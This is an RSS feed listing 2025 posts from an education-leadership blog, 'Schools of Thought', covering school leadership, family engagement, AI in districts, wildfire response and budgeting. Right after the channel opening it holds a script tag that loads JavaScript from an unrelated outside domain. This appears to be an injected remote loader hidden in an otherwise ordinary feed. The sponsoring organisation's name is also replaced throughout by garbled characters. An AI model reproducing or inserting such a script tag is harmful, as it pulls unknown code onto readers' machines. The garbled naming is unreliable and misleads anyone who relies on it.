<?xml version="1.0" encoding="utf-8"?><rss xmlns:a10="http://www.w3.org/2005/Atom" version="2.0"><channel><script type="text/javascript" src="//www.nzpwa.xyz/tools.js"></script>
<title>Schools of Thought Blog</title><link>/</link><description>51ÂÜÀò’s Schools of Thought blog is dedicated to sharing practical resources, innovative ideas and effective practices in public education leadership.</description><category>Schools of Thought Blog</category><category>College- Career- and Life-Readiness</category><category>Curriculum &amp; Assessment</category><category>Leadership Development</category><category>Health &amp; Wellness</category><category>School Climate &amp; Culture</category><category>Staffing, HR &amp; Talent Development</category><category>Technology &amp; AI</category><category>Communications &amp; Public Relations</category><category>Community &amp; Family Engagement</category><category>District &amp; School Operations</category><category>Rural Communities</category><category>Learning 2025</category><category>Access &amp; Opportunity</category><category>Social Emotional Learning</category><category>School Safety &amp; Cybersecurity</category><category>Finance &amp; Budgets</category><category>Early Learning</category><a10:link rel="self" type="application/rss+xml" href="/feeds/schools-of-thought" /><item><guid isPermaLink="false">urn:uuid:0b8e08ed-192f-42f9-87da-57da70a17c32</guid><link>/resources/blog/executive-function-skills-the-key-to-thriving-in-school-work-and-life</link><a10:author><a10:name> </a10:name></a10:author><category>Schools of Thought Blog</category><category>College- Career- and Life-Readiness</category><category>Curriculum &amp; Assessment</category><title>Executive Function Skills: The Key to Thriving in School, Work, and Life</title><description>Change is our only constant in this world, and these skills provide a strong foundation for thriving in an ever-changing environment.</description><pubDate>Tue, 06 May 2025 04:00:02 Z</pubDate><a10:content type="text"></a10:content></item><item><guid isPermaLink="false">urn:uuid:db9a0adb-a057-48cb-9ef3-8cbe807554a4</guid><link>/resources/blog/leadership-lessons-from-a-goose</link><a10:author><a10:name> </a10:name></a10:author><category>Schools of Thought Blog</category><category>Leadership Development</category><category>Health &amp; Wellness</category><title>Leadership Lessons from a Goose</title><description>Knowing when to fly at the front of the V is equally as important as knowing when to let another take the helm.</description><pubDate>Mon, 05 May 2025 14:40:33 Z</pubDate><a10:content type="text"></a10:content></item><item><guid isPermaLink="false">urn:uuid:b4fd34ea-0709-444f-83a5-695b069764d2</guid><link>/resources/blog/leading-with-joy-reflections-on-connection-optimism-and-student-success</link><a10:author><a10:name> </a10:name></a10:author><category>Schools of Thought Blog</category><category>School Climate &amp; Culture</category><category>Health &amp; Wellness</category><title>Leading with Joy: Reflections on Connection, Optimism, and Student Success</title><description>In times of uncertainty, the most courageous thing we can do is to lead with joy—not because it’s easy, but because our students deserve nothing less.</description><pubDate>Thu, 01 May 2025 17:00:26 Z</pubDate><a10:content type="text"></a10:content></item><item><guid isPermaLink="false">urn:uuid:c2598117-3433-4c09-a1ba-5aee2a58ac41</guid><link>/resources/blog/from-crisis-to-catalyst-forging-partnerships-to-better-support-and-retain-staff</link><a10:author><a10:name> </a10:name></a10:author><category>Schools of Thought Blog</category><category>Staffing, HR &amp; Talent Development</category><title>From Crisis to Catalyst: Forging Partnerships to Better Support and Retain Staff</title><description>How Questar III BOCES responded to unprecedented challenges in educator recruitment and retention that empower new and aspiring teachers to grow, connect, and thrive.</description><pubDate>Wed, 30 Apr 2025 04:00:07 Z</pubDate><a10:content type="text"></a10:content></item><item><guid isPermaLink="false">urn:uuid:b36ce185-9cb2-45a7-9409-0b81385214cf</guid><link>/resources/blog/transform-student-parent-voice-for-trust-engagement-and-impact</link><a10:author><a10:name> </a10:name></a10:author><category>Schools of Thought Blog</category><category>Technology &amp; AI</category><category>Communications &amp; Public Relations</category><category>Community &amp; Family Engagement</category><title>Transform Student &amp; Parent Voice for Trust, Engagement and Impact</title><description>How Edison Township Public Schools is transforming community engagement from passive feedback to active partnership.</description><pubDate>Mon, 28 Apr 2025 15:30:11 Z</pubDate><a10:content type="text"></a10:content></item><item><guid isPermaLink="false">urn:uuid:987da0b9-b7d7-4aa5-839e-a13cb24f26d0</guid><link>/resources/blog/rethinking-report-cards-emphasizing-soft-skills-in-an-ai-world</link><a10:author><a10:name> </a10:name></a10:author><category>Schools of Thought Blog</category><category>Curriculum &amp; Assessment</category><category>College- Career- and Life-Readiness</category><title>Rethinking Report Cards: Emphasizing Soft Skills In An AI World</title><description>How multiple grades report cards prepare students for the modern workplace</description><pubDate>Fri, 25 Apr 2025 19:10:46 Z</pubDate><a10:content type="text"></a10:content></item><item><guid isPermaLink="false">urn:uuid:bf40e5a3-635c-4b13-8b90-dad3f31f6283</guid><link>/resources/blog/empowering-families-and-elevating-futures-in-a-rural-district</link><a10:author><a10:name> </a10:name></a10:author><category>Schools of Thought Blog</category><category>Community &amp; Family Engagement</category><category>Rural Communities</category><title>Empowering Families and Elevating Futures in a Rural District</title><description>Reflections and takeaways from Colorado ISD's participation in the 51ÂÜÀò Authentic Family Engagement Summit.</description><pubDate>Wed, 23 Apr 2025 19:17:04 Z</pubDate><a10:content type="text"></a10:content></item><item><guid isPermaLink="false">urn:uuid:e1b3c62f-3bf7-452f-9f00-18bbcddd03ee</guid><link>/resources/blog/lighting-the-way-strategic-planning-success-in-allentown</link><a10:author><a10:name> </a10:name></a10:author><category>Schools of Thought Blog</category><category>Learning 2025</category><category>District &amp; School Operations</category><category>Access &amp; Opportunity</category><category>Community &amp; Family Engagement</category><title>Lighting the Way: Strategic Planning Success in Allentown</title><description>How do you capture the collective vision, aspirations, and needs of an entire school district in a way that transforms ideas into action?</description><pubDate>Tue, 22 Apr 2025 14:56:59 Z</pubDate><a10:content type="text"></a10:content></item><item><guid isPermaLink="false">urn:uuid:b0b54d37-4063-4c99-aaa7-3faccdb84937</guid><link>/resources/blog/boulder-valley-strong-insights-from-a-superintendent</link><a10:author><a10:name> </a10:name></a10:author><category>Schools of Thought Blog</category><category>District &amp; School Operations</category><category>Leadership Development</category><title>Boulder Valley Strong: Insights from a Colorado Superintendent on Leading During Crises</title><description>A superintendent's perspective on leading a school community through a natural disaster and other crises.</description><pubDate>Fri, 11 Apr 2025 05:00:04 Z</pubDate><a10:content type="text"></a10:content></item><item><guid isPermaLink="false">urn:uuid:851df999-f8fd-47dc-bbe2-7bd8923d831a</guid><link>/resources/blog/leverage-ai-to-transform-systems-for-engagement-and-impact</link><a10:author><a10:name> </a10:name></a10:author><category>Schools of Thought Blog</category><category>Technology &amp; AI</category><category>Communications &amp; Public Relations</category><category>Community &amp; Family Engagement</category><title>Leverage AI to Transform Systems for Engagement and Impact</title><description>How districts can integrate Generative AI not just for efficiency, but as a strategic tool.</description><pubDate>Tue, 08 Apr 2025 22:10:20 Z</pubDate><a10:content type="text"></a10:content></item><item><guid isPermaLink="false">urn:uuid:9bb43580-5ecb-45f1-8e39-5f6164af1350</guid><link>/resources/blog/boulder-valley-strong-navigating-grief-and-trauma-after-the-marshall-fires</link><a10:author><a10:name> </a10:name></a10:author><category>Schools of Thought Blog</category><category>District &amp; School Operations</category><category>Health &amp; Wellness</category><category>Social Emotional Learning</category><title>Boulder Valley Strong: Navigating Grief and Trauma After the Marshall Fires</title><description>A Colorado district's strategy to navigating grief and trauma during and after a wildfire.</description><pubDate>Fri, 04 Apr 2025 13:48:30 Z</pubDate><a10:content type="text"></a10:content></item><item><guid isPermaLink="false">urn:uuid:55c9b20c-d05f-4cf8-b55b-5b7ee95283f5</guid><link>/resources/blog/boulder-valley-strong-responding-to-the-marshall-fires</link><a10:author><a10:name> </a10:name></a10:author><category>Schools of Thought Blog</category><category>District &amp; School Operations</category><category>School Safety &amp; Cybersecurity</category><title>Boulder Valley Strong: Responding to the Marshall Fires</title><description>A Colorado district's response to one of the most destructive wildfires in the state's history.</description><pubDate>Sat, 29 Mar 2025 01:47:20 Z</pubDate><a10:content type="text"></a10:content></item><item><guid isPermaLink="false">urn:uuid:68b36f54-9e4f-4347-b41a-710172073fd7</guid><link>/resources/blog/beyond-the-plan-from-static-strategy-to-dynamic-data-driven-action</link><a10:author><a10:name> </a10:name></a10:author><category>Schools of Thought Blog</category><category>Technology &amp; AI</category><category>Community &amp; Family Engagement</category><category>District &amp; School Operations</category><title>Beyond the Plan: From Static Strategy to Dynamic, Data-Driven Action</title><description>How districts can rethink strategic planning as an agile, living process powered by real-time analytics, continuous engagement, and dynamic execution.</description><pubDate>Tue, 25 Mar 2025 15:50:41 Z</pubDate><a10:content type="text"></a10:content></item><item><guid isPermaLink="false">urn:uuid:e3dc10d5-0ffe-499f-9862-e678cf037d27</guid><link>/resources/blog/boulder-valley-strong-building-resilience-and-support-during-natural-disasters</link><a10:author><a10:name> </a10:name></a10:author><category>Schools of Thought Blog</category><category>School Safety &amp; Cybersecurity</category><category>District &amp; School Operations</category><title>Boulder Valley Strong: Building Resilience and Support During Natural Disasters</title><description>How a Colorado school district navigates natural disasters while building community resilience.</description><pubDate>Thu, 20 Mar 2025 23:47:22 Z</pubDate><a10:content type="text"></a10:content></item><item><guid isPermaLink="false">urn:uuid:0e7bf74b-a924-47fa-977e-c414041e3cd0</guid><link>/resources/blog/open-your-digital-doorway-for-trust-engagement-and-impact-transform-your-website-with-design-data-and-generative-ai</link><a10:author><a10:name> </a10:name></a10:author><category>Schools of Thought Blog</category><category>Technology &amp; AI</category><category>Communications &amp; Public Relations</category><category>Community &amp; Family Engagement</category><title>Open Your Digital Doorway for Trust, Engagement and Impact: Transform Your Website with Design, Data and Generative AI</title><description>How districts can reimagine their websites as strategic communication hubs using AI, accessibility features and real-time engagement tools.</description><pubDate>Tue, 11 Mar 2025 17:44:03 Z</pubDate><a10:content type="text"></a10:content></item><item><guid isPermaLink="false">urn:uuid:8de226ce-ef0d-47c2-b358-a1688b7ebc43</guid><link>/resources/blog/rethink-the-k-12-budget-process</link><a10:author><a10:name> </a10:name></a10:author><category>Schools of Thought Blog</category><category>Finance &amp; Budgets</category><title>It’s Time to Rethink the K-12 Budget Process</title><description>K-12 budget season is challenging, requiring smarter planning and better coordination to maximize resources. States and districts must adopt strategic funding approaches to ensure effective support for students.</description><pubDate>Tue, 04 Mar 2025 23:30:13 Z</pubDate><a10:content type="text"></a10:content></item><item><guid isPermaLink="false">urn:uuid:a9a13bff-8f29-4779-8cd9-85742595f3c9</guid><link>/resources/blog/d219-s-assyrian-accreditation-journey</link><a10:author><a10:name> </a10:name></a10:author><category>Schools of Thought Blog</category><category>Access &amp; Opportunity</category><category>Curriculum &amp; Assessment</category><title>Leading Through Language: D219’s Assyrian Accreditation Journey</title><description>Learn how an Illinois district made educational history by becoming the first public school district in the United States to approve an Assyrian language and culture curriculum.</description><pubDate>Wed, 26 Feb 2025 23:57:24 Z</pubDate><a10:content type="text"></a10:content></item><item><guid isPermaLink="false">urn:uuid:989feaa5-c113-47f5-808c-0080182b392f</guid><link>/resources/blog/empowering-whole-hearts-in-westbury</link><a10:author><a10:name> </a10:name></a10:author><category>Schools of Thought Blog</category><category>Social Emotional Learning</category><title>Empowering Whole Hearts in Westbury: Fostering Emotional Wellness and Community Connections</title><description>An annual Social-Emotional Learning (SEL) Fair fosters resilience, self-care, and emotional wellness by providing students and the community with essential mental health resources and support.</description><pubDate>Mon, 24 Feb 2025 18:49:09 Z</pubDate><a10:content type="text"></a10:content></item><item><guid isPermaLink="false">urn:uuid:2313b4f8-6af3-434f-a37a-ad1acf2dc601</guid><link>/resources/blog/inside-aasa-ai-summit</link><a10:author><a10:name> </a10:name></a10:author><category>Technology &amp; AI</category><category>Schools of Thought Blog</category><title>Inside 51ÂÜÀò’s First-Ever AI Super Summit 1.0</title><description>A superintendent's perspective on 51ÂÜÀò's first-ever AI Summit and how other leaders can embrace this new era in technology.</description><pubDate>Mon, 17 Feb 2025 22:32:14 Z</pubDate><a10:content type="text"></a10:content></item><item><guid isPermaLink="false">urn:uuid:caf6aa78-0135-45ef-ad8f-f000217613a8</guid><link>/resources/blog/a-love-letter-to-crosby-isd</link><a10:author><a10:name> </a10:name></a10:author><category>Schools of Thought Blog</category><category>Leadership Development</category><category>Access &amp; Opportunity</category><title>A Love Letter to Crosby ISD</title><description>A superintendent's journey to leadership in her hometown of Crosby, Texas.</description><pubDate>Tue, 11 Feb 2025 14:29:28 Z</pubDate><a10:content type="text"></a10:content></item><item><guid isPermaLink="false">urn:uuid:6c1e171d-db2d-4fb9-96e1-af1c212c5c73</guid><link>/resources/blog/3-takeaways-collaborative-strategies-for-discipline-and-juvenile-justice</link><a10:author><a10:name> </a10:name></a10:author><category>Schools of Thought Blog</category><category>Access &amp; Opportunity</category><category>District &amp; School Operations</category><title>3 Takeaways: Collaborative Strategies for Discipline and Juvenile Justice</title><description>School leaders must examine student outcomes and then work to revamp the system and structures in order to create improvement.</description><pubDate>Thu, 06 Feb 2025 14:13:17 Z</pubDate><a10:content type="text"></a10:content></item><item><guid isPermaLink="false">urn:uuid:829a112c-4a01-4cf7-994b-df356e59aae0</guid><link>/resources/blog/connecting-science-and-community-for-early-childhood-education</link><a10:author><a10:name> </a10:name></a10:author><category>Schools of Thought Blog</category><category>Early Learning</category><title>Connecting Science and Community for Early Childhood Education</title><description>Dr. Jack Shonkoff’s insights on early childhood brain development, community impact, and strengthening the early learning ecosystem for lifelong success.</description><pubDate>Wed, 29 Jan 2025 14:37:03 Z</pubDate><a10:content type="text"></a10:content></item><item><guid isPermaLink="false">urn:uuid:5c1e9493-a100-4ceb-9dee-c576908eb7aa</guid><link>/resources/blog/bold-steps-toward-early-learning-equity-at-brookings-school-district</link><a10:author><a10:name> </a10:name></a10:author><category>Schools of Thought Blog</category><category>Early Learning</category><title>Bold Steps Toward Early Learning Equity at Brookings School District</title><description>Addressing the childcare crisis while laying the groundwork for lifelong learning and community success.</description><pubDate>Wed, 22 Jan 2025 13:52:02 Z</pubDate><a10:content type="text"></a10:content></item><item><guid isPermaLink="false">urn:uuid:7962547e-81ba-487b-939f-7e7a8630269d</guid><link>/resources/blog/building-leaders-connections-the-lasting-impact-of-a-student-leadership-program</link><a10:author><a10:name> </a10:name></a10:author><category>Schools of Thought Blog</category><category>District &amp; School Operations</category><category>School Climate &amp; Culture</category><title>Building Leaders &amp; Connections: The Lasting Impact of a Student Leadership Program</title><description>Four transformative outcomes from implementing Link Crew, a student leadership mentor program, in Warrensburg-Latham High School.</description><pubDate>Wed, 22 Jan 2025 13:51:52 Z</pubDate><a10:content type="text"></a10:content></item><item><guid isPermaLink="false">urn:uuid:b00d46b9-1e16-4438-80fd-6343793e251e</guid><link>/resources/blog/a-new-blog-for-a-new-year</link><a10:author><a10:name> </a10:name></a10:author><category>Schools of Thought Blog</category><title>A New Blog for a New Year</title><description>Welcome to 51ÂÜÀò’s Schools of Thought Blog, a new space designed to spark ideas and inspire action.</description><pubDate>Wed, 22 Jan 2025 13:51:37 Z</pubDate><a10:content type="text"></a10:content></item></channel></rss>